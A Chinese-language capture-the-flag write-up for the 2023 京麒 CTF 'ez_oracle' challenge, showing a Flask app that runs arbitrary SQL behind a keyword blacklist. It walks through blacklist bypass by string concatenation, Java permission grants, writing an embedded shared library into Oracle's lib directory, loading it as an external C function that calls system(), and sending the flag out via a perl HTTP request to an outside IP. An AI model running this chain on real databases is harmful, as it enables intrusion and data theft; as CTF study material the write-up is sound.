2023 京麒 CTF ez_oracle Writeup

Contents

2023 京麒 CTF ez_oracle Writeup

ez_oracle

第一次在 CTF 比赛里面见到 Oracle 数据库的题目, 过程挺折磨人的, 不过确实学到了挺多东西

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import logging

import oracledb
from flask import Flask, request
import socket

app = Flask(__name__)
username = "system"
password = "PaAasSSsSwoRrRDd"
ol_server = "127.0.0.1"
ol_port = 1521
sid = "orcl"
dsn = "{}:{}/{}".format(ol_server, ol_port, sid)
logging.basicConfig(level=logging.INFO, filename='/var/log/web.log', format='%(asctime)s %(message)s')


def check(sql):
    blacklist = ["select", "insert", "delete", "update", "table", "user", "drop", "alert", "procedure", "exec",
                 "open", ":=", "declare", "runtime", "process", "invoke", "newinstance", "parse",
                 ".class", "loader", "script", "url", "xml", "method", "field", "reflect", "defineclass",
                 "getclass", "forname", "constructor", "transform", "sql", "beans", ".net", "http", ".rmi", "naming"
                 ]
    sql = sql.lower()
    for blackword in blacklist:
        if blackword in sql:
            return True


def log(ip, sql, error=None):
    error_text = "-----------------------{}-----------------------\n".format(ip)
    error_text += "sql: {} \n".format(sql)
    if error != None:
        error_text += "error: {} \n".format(error)
    error_text += "-------------------------------------------------"
    logging.error(error_text)


@app.route("/query", methods=["POST"])
def query():
    sql = request.form["sql"]
    ip = request.remote_addr
    if check(sql):
        return "waf"
    else:
        try:
            conn = oracledb.connect(user=username, password=password, dsn=dsn)
            conn.callTimeout = 5000
            cursor = conn.cursor()
            cursor.execute(sql)
            cursor.close()
            conn.close()
            log(ip, sql)
        except Exception as e:
            log(ip, sql, e)
            return "error"
        return "query success"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888)

Oracle 12c ee, 任意 SQL 语句执行, 但是加了一堆过滤, 目标是 RCE

过滤了 exec procedure := declare 表示不能通过 execute immediate 语法动态执行 RCE 语句

例如

1
2
3
4
declare sql_command varchar2(32767);
begin sql_command := 'SQL';
execute immediate sql_command;
end;

过滤了 runtime process .class method constructor getclass forname defineclass field reflect 表示不能通过 Java 反射拿到 Runtime, ProcessBuilder 或者自定义的 ClassLoader 进而执行命令

过滤了 .rmi .net naming 表示不能打 RMI/LDAP JNDI 和反序列化

不过如果仔细看的话其实可以发现还有一些关键词可以利用, 例如 java source class (注意不是 .class) function library 等等

这里直接给出我的思路:

通过 create java source 执行 Java 方法向 Oracle lib 目录写入动态链接库 (.so), 然后通过 create library 加载 .so 文件, 并调用其中的某个函数, 该函数调用 system 执行命令, 从而实现 RCE

参考文档:

https://medium.com/codex/extending-the-sql-and-pl-sql-with-custom-external-functions-and-procedures-214067761061

https://mikegeorgiou.blogspot.com/2011/11/how-to-call-c-shared-library-from-plsql.html

https://docs.oracle.com/cd/F49540_01/DOC/server.815/a68002/ch04_use.htm

https://www.morganslibrary.org/reference/libraries.html

https://docs.oracle.com/en/database/oracle/oracle-database/12.2/lnpls/CREATE-FUNCTION-statement.html

https://docs.oracle.com/en/database/oracle/oracle-database/19/lnpls/CREATE-LIBRARY-statement.html

https://docs.oracle.com/cd/E57425_01/121/LNPLS/create_library.htm

https://docs.oracle.com/cd/E57425_01/121/LNPLS/create_function.htm

首先编写 .so

xzevil.c

1
2
3
4
5
6
7
8
#include "xzevil.h"
#include <stdio.h>
#include <stdlib.h>
 
char* cmd(char* command) {
    system(command);
    return "ok";
}

xzevil.h

1
2
3
4
5
6
#ifndef xzevil_h_
#define xzevil_h_

extern char* cmd(char* command);
 
#endif

编译

1
gcc -shared -fPIC xzevil.c -o xzevil.so

在 create java source 之前先给当前用户赋权, 被过滤的字符串直接用 || 拼接绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,e'||'xecute,del'||'ete');
end;

begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'writeFileDescr'||'iptor', '');
end;

begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'readFileDesc'||'riptor', '');
end;

create java source

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
create or replace and compile java source named "JavaTool" as
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.util.zip.GZIPInputStream;

public class JavaTool {
    public static String write(String path) throws Exception {
        byte[] data = new byte[]{31, -117, 8, 0, 0, 0, 0, 0, 0, 0, -19, 91, 93, 108, 20, 85, 20, -66, -77, 109, -23, 46, -108, -18, -126, 32, -40, -94, 93, 12, 24, 80, 58, -108, 74, 17, -123, 66, -37, -19, -74, -125, 105, 11, -42, -10, -127, 4, 25, -90, 59, -45, 118, 113, 127, -56, -18, -76, -76, 13, 106, -123, -88, 52, -124, -124, -60, -104, 24, 72, 12, 15, -58, -97, -60, -8, -128, 47, -6, 100, 73, 21, -15, -25, 1, 19, 77, 26, -115, 73, 19, 67, 44, -119, 81, -120, -47, 84, 19, -69, -34, 59, 115, -50, 118, -26, 50, 35, -8, -128, -119, -15, 126, -55, -52, 55, -25, -36, -5, -35, -65, -103, 114, 103, -40, 115, -98, -117, 119, -76, 5, 36, -119, 32, 74, -56, 46, -78, 96, 17, -46, 4, 28, 105, 112, -6, -74, -109, 16, 61, -81, 33, -43, 86, -35, 82, -30, -113, 87, 75, -35, 76, 34, 54, 49, 93, -103, -61, -26, -71, 65, 114, -77, 83, 103, 53, 21, 5, 63, -57, -81, 19, 55, 59, 117, -117, -24, 49, 87, 107, -37, 115, -115, 110, 94, 29, -128, 102, 2, 110, 93, 0, 116, 65, -39, -74, -125, -69, -36, 60, 41, -71, 57, 8, -14, 82, 56, -74, 67, 123, 60, -81, 35, 110, -58, -27, -39, 119, -43, -44, 45, 45, -52, -121, 103, 63, -35, 19, 84, -73, -120, -36, 62, 112, -71, -69, -95, 63, -65, 117, 9, 6, -36, -116, -73, -125, 105, 86, 16, -10, -68, 16, -46, -34, -43, 75, -50, 79, -67, 123, -19, -36, -15, 49, -93, -4, -21, -122, 29, 114, -29, -101, -83, 103, 107, -109, 7, 89, 61, 92, 63, 92, 127, 112, 89, -83, 49, 123, -76, -1, -28, -110, 91, -115, 51, -22, -31, -33, 79, -113, -27, 30, 126, -55, -89, -2, 38, 31, 127, 27, 61, -18, -9, -16, -9, 90, -19, 87, -112, -48, 50, -37, 94, -117, 5, -86, 58, -112, -50, 102, -44, -68, -87, -27, 76, 85, 37, -22, -98, -98, 78, 85, 55, 114, -58, 64, 50, 111, 26, -71, -98, -50, 88, 42, -101, 49, 122, -76, -66, -108, 97, -105, 121, -105, -88, -119, 17, 77, -19, 79, 102, -76, 84, 114, -52, 32, -119, -76, 78, -14, -93, -76, 86, -102, -92, -110, 125, 9, 57, -97, -107, -73, -111, -10, -114, 61, 45, 49, -75, 94, -82, -105, 27, -84, 121, 5, -24, 97, -97, -19, 121, 74, -28, 16, 89, -72, -113, 67, 85, -55, 16, 91, -42, -61, 96, 23, -17, 31, -114, 27, -26, 65, 118, -71, -3, -109, -48, 64, -80, -55, -19, 71, -5, -14, 110, -101, -15, 30, 34, -82, 56, -4, 37, 14, -1, -76, -61, -17, -4, 119, 97, -58, -31, 47, 115, 46, 52, -12, 83, 78, -32, -95, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, -72, 99, 80, 78, -4, 24, 84, 78, -107, 125, -68, -103, 94, -66, 48, 105, 6, 10, 87, -108, 19, 31, 5, -89, -118, -27, -123, -122, -49, 104, 81, 97, -3, 23, -12, 28, -82, 105, -94, 87, -52, 30, 100, 69, -41, 102, 10, 20, -21, -49, 82, -69, -1, 76, -79, -67, -45, -115, 31, -80, -74, 78, -105, 93, 96, -12, -24, -100, -71, -110, 54, 127, 16, -102, 15, 21, 102, -62, 53, -29, -84, -34, 20, 48, -83, 63, 97, -43, 111, 56, -50, 104, -29, -68, 50, 113, 93, -71, -8, -45, 110, -27, -30, 92, -119, 34, 93, 82, -66, -100, 55, 87, -48, 6, 106, -95, -127, 96, 97, -90, 63, 92, -45, -70, -96, -1, 37, 124, -33, 31, -29, -115, 113, 90, 76, -122, 30, -22, 85, 78, 52, 46, 102, -105, -54, -60, 85, -77, 66, 57, -43, -8, 0, 53, 102, -9, -45, 81, -50, -22, -12, 116, -87, -20, 94, 106, 75, 79, 81, -83, 75, 127, -19, 40, 45, -20, -91, 26, -70, 24, 17, 101, -30, -103, 57, -27, 84, 124, 78, -103, -8, 100, 54, 76, -3, 116, 38, -45, -107, -124, 124, 58, 5, 107, -27, 90, 29, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -127, -1, 6, -78, 79, -45, 47, -30, -22, -110, 29, 81, 98, -1, -114, -73, -26, 122, -95, -80, -109, -14, 78, -54, 58, -27, -78, 27, -123, -62, 49, 98, -1, -42, -53, 32, -115, 117, 19, 105, 36, 34, 85, 87, -108, 7, -49, 72, -10, -17, -48, 107, -24, 49, -3, 115, -95, -64, -38, 32, -107, -111, -74, -54, -43, -113, -121, -105, 28, 13, -114, -109, -35, 85, 59, 30, 124, 120, -99, -11, -13, 42, -45, -45, -49, 118, 114, -123, -42, 11, 58, -6, 103, -38, 3, -12, 120, -98, -10, 103, -3, -58, -38, 92, 25, 121, 49, 16, 91, -70, -24, 0, -19, -32, -114, -49, 94, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, -32, 127, 0, -120, 7, -99, 116, -60, 71, 51, 28, 2, -82, -64, 122, 80, -66, 20, -52, 77, -96, -69, 7, 108, -116, 51, -83, 6, 27, -65, -39, -86, 80, 15, -15, -90, 107, -72, -14, 95, -25, 11, 89, -85, 63, 8, -6, -60, -104, -48, 58, 8, 38, -59, 88, -26, -109, 80, -66, 24, -20, 97, 96, 12, 26, 94, 13, -116, 49, -88, -77, 16, 103, 26, -32, -54, -15, -5, -75, 28, 120, 21, -16, 120, -87, -37, 63, 93, -30, 30, -25, 91, -64, 33, -82, -67, -7, -126, 61, -2, -9, -95, 126, 1, 108, 92, -57, -21, 96, -65, 1, -27, -65, -125, -19, -116, -107, -3, 55, -127, -15, -22, 60, -74, 113, -15, -65, -19, -79, -40, 99, -47, 13, -83, 70, 95, 82, -53, 68, -73, -80, -24, -29, -70, -38, 45, 91, 55, -62, -91, 127, -5, 118, 92, -2, -115, 2, -17, 103, -49, 81, -128, -98, -9, 69, -36, -2, 74, -16, -113, 115, -2, -75, -32, -97, -28, -4, -113, 88, 125, -84, 34, -111, -90, -123, -2, 24, 98, -42, -11, -14, -30, 115, -122, 56, 12, -19, 20, -29, -98, 1, -61, 86, -3, 101, -59, -25, 22, -15, -118, -49, -8, -3, -26, -11, -102, 85, 22, 33, -25, -93, 124, -119, 119, -3, 119, -84, -15, 44, 45, -2, -3, 32, 46, 88, -19, -36, 93, 92, 127, -60, -121, -106, -1, -82, -101, -18, -37, 101, -21, 28, 46, -26, 3, 32, -66, -123, 118, 112, 125, 16, 63, 88, -2, -107, -59, -65, 11, -60, -97, -42, 120, 66, 11, 1, -28, -128, 18, -55, 59, 78, -66, 70, -14, -114, -73, -81, -105, -68, -29, -28, -73, -7, -76, 19, -9, -15, -85, -110, 119, 28, 62, 73, -28, -52, -68, 57, -44, -33, 47, 39, -56, 66, -104, -67, 106, -90, -43, 4, 11, -89, -49, 19, 85, -43, -77, -22, 64, 42, -37, -89, -91, 84, -35, -52, -26, -14, -86, 54, 52, 66, 18, -39, -12, -111, -108, 97, 26, 58, 125, 102, 61, 107, -80, -32, -5, -92, -86, -27, 114, -38, -88, 106, 100, -52, -36, 40, -23, -49, 105, 105, 67, -43, -121, -46, -23, 81, 42, 113, 88, 42, -83, 105, -70, -86, -114, -116, 25, -61, -55, 20, 29, -111, -86, -74, 117, 55, 119, -58, -43, 120, 87, 43, -53, 5, 96, 109, -78, -18, -14, 89, 117, 80, -53, -24, 44, -48, -65, 117, 127, 87, 115, -25, -98, 24, -11, -74, 119, -11, -86, 113, 5, 4, 74, 107, 55, 117, -11, 116, -58, 80, -38, -34, -79, -73, -91, -71, 67, -35, -37, -42, -10, 100, -68, 71, -19, 105, 110, -23, -120, 83, 47, -21, -7, 111, 83, 12, -20, -84, -127, 38, 103, -82, 0, 75, 38, -16, 74, 82, -72, -115, 68, 4, 87, 59, 68, -50, -113, -90, 77, -83, -113, -78, -103, -77, 121, 16, -81, 50, 89, -45, -112, 7, 50, 67, 114, -33, 80, 50, -91, -41, 38, 117, 98, 89, -125, 90, 126, -112, -56, -6, 104, -122, 42, 109, 54, 115, 118, -55, -80, -111, -53, 39, -77, 25, -105, -95, -46, -78, -100, -111, -46, 88, 69, -72, 58, -110, 50, -119, 108, 77, -102, 93, -54, 3, 89, 122, 97, 26, 35, -12, 108, 45, -83, -100, -53, -22, -102, -87, 17, -39, 24, -124, 27, 52, -88, -25, 22, 44, 91, 106, -33, 41, 91, -127, -41, -76, 7, 45, -99, 76, 16, -42, -94, -35, -119, -35, 78, 95, 62, 79, 100, -6, -84, -92, -23, 125, -11, 122, -8, -2, 57, -40, 62, -24, -52, 101, -16, -53, -5, 65, -16, -71, 83, 44, -51, -24, 55, -70, 87, -96, 30, -9, -57, 67, -100, 30, -9, 17, -2, -1, 72, -73, 19, 123, 111, 68, 61, -18, -97, -56, -72, -97, -79, 126, 37, -121, 30, -9, -75, 38, 104, 27, -11, -72, 31, 35, -29, -2, -117, -112, 56, 91, 33, -10, 94, -120, 122, -36, -1, -112, 43, -71, -15, 7, 56, 102, 121, 55, -13, 14, 61, -18, -81, -56, 81, -97, -15, 35, 116, 40, 67, 61, -18, -25, -56, 56, 127, 126, -3, 112, -2, 25, -48, -73, -128, -115, -17, 7, -56, -50, -9, -115, -107, 30, -6, 17, -30, -54, 117, -70, 41, -81, 13, -33, 59, 16, -4, -3, -49, 115, -6, 104, -124, 99, -82, 62, -97, 62, -9, 44, -89, 111, -118, -72, -103, 95, -81, 32, -57, 47, 113, 122, -36, -73, -111, -65, -15, -23, 31, 113, -102, -45, -29, 126, -121, 28, -30, -22, -13, -13, 127, 25, -12, -59, 92, -96, -88, -101, -7, -9, 39, -2, -7, 59, -57, -23, -3, -14, -25, -4, -6, 127, -101, -45, 111, -120, -70, -7, 24, 87, -97, 95, -49, -9, -120, -3, -116, -29, 56, -117, -7, 116, -75, -34, -11, -7, -11, 103, -5, 126, -40, -95, 47, -66, -41, -56, -18, 122, 126, -6, -49, -119, 59, 39, -85, -104, -81, 8, 122, -52, 83, 44, -27, 116, 120, 31, -113, 19, 123, -2, -88, -57, -4, -81, -53, -101, 109, -114, -34, -94, -1, -81, 56, 61, -66, 119, -52, -34, -90, -2, 59, 78, 95, -52, 75, -85, 115, -41, -29, -11, -120, -17, -63, -121, 122, 124, 31, -118, -8, -24, -7, -25, 103, 22, 124, -4, -85, 46, -22, 107, 124, -12, 78, -10, -54, 99, -85, 3, -3, 17, 40, 100, -33, 71, 43, -56, -51, -1, 126, -124, -120, -9, 55, -62, -7, 122, -101, -57, -72, 1, -13, -29, 95, -26, -93, -81, -38, 106, -13, 13, -50, -49, -21, -1, 2, 0, 24, 8, -29, 16, 60, 0, 0};
        GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(data));
        FileOutputStream fileOutputStream = new FileOutputStream(path);

        byte[] buffer = new byte[1024];
        int len;
        while ((len = gzipInputStream.read(buffer)) > 0) {
            fileOutputStream.write(buffer, 0, len);
        }

        gzipInputStream.close();
        fileOutputStream.close();

        return "write ok";
    }
}

这里得注意几个点

首先 .so 必须先用 gzip 压缩一遍, 这样最终得到的 byte 数组会比原来的小很多, 不然会因为 SQL 语句过长而执行失败

其次, Oracle 12c ee 内置的 JDK 版本为 1.6, 因此没有 java.util.Base64, 如果用 sun.misc.BASE64Encoder 的话得额外赋权 (不过我没试过, 不知道能不能成功)

create function

1
create or replace function java_write(path varchar2) return varchar2 as language java name 'JavaTool.write(java.lang.String) return java.lang.String';

然后调用 java_write 函数, 写入 .so 文件至 /u01/app/oracle/product/12.1.0.2/dbhome_1/lib/ 目录

因为 select 被过滤了, 所以需要换个方式来调用 function

1
2
3
4
5
6
BEGIN
if (java_write('/u01/app/oracle/product/12.1.0.2/dbhome_1/lib/xzevil.so') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;

create library

1
create or replace library lib_xzevil as '/u01/app/oracle/product/12.1.0.2/dbhome_1/lib/xzevil.so';

create function

1
2
3
4
create or replace function cmd(str varchar2) return varchar2
as language c
library lib_xzevil
name "cmd";

调用 cmd 函数, 实现 RCE

1
2
3
4
5
6
BEGIN
if (cmd('/u01/app/oracle-product/12.1.0.2/dbhome_1/perl/bin/perl -MLWP::Us'||'erAgent -e "\$ua = LWP::Us'||'erAgent->new; \$response = \$ua->get(''h'||'ttp://30.222.0.69:4444/?a=`/readflag`'');"') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;

之后就非常抽象, 当前的权限是 oracle 用户, 貌似只能执行所有者是 oracle 的命令, 所以 /bin 目录下的命令就全都用不了了, 只能从 Oracle 的安装目录中找命令去外带回显 (/readflag 命令可以正常执行)

1
find / -user oracle -perm /u=x | grep bin | more

这里我用的是 perl 命令, 反引号调用 /readflag + 发送 HTTP 请求外带回显

还有个 ldapsearch 理论上应该也可以, 但是得抓完整的连接包, 需要真正搭一个 LDAP 服务器, 比较麻烦

最后执行命令不知道什么情况得等好长时间, 我本地等了大约 180s 后才能带出 flag, 换到题目服务器上发了 N 次包, 最后终于把 flag 带出来了

上面的过程看着简单但其实有很多坑, 我自己掉了好多次坑才弄明白这些内容, 包括但不限于:

不能通过 System.load 加载 .so

不能通过 gcc 的 __attribute__ ((__constructor__)) void preload (void) 特性实现一加载 .so 就自动执行代码

上述的 create library 之类的 SQL 语句的语法规则

.so 的编写规范

因为没有 Gzip 压缩导致 SQL 语句长度过长, 执行失败

JDK 1.6 没有 java.util.Base64

在不执行 select 的情况下调用 function

RCE 后执行命令外带回显的坑

0%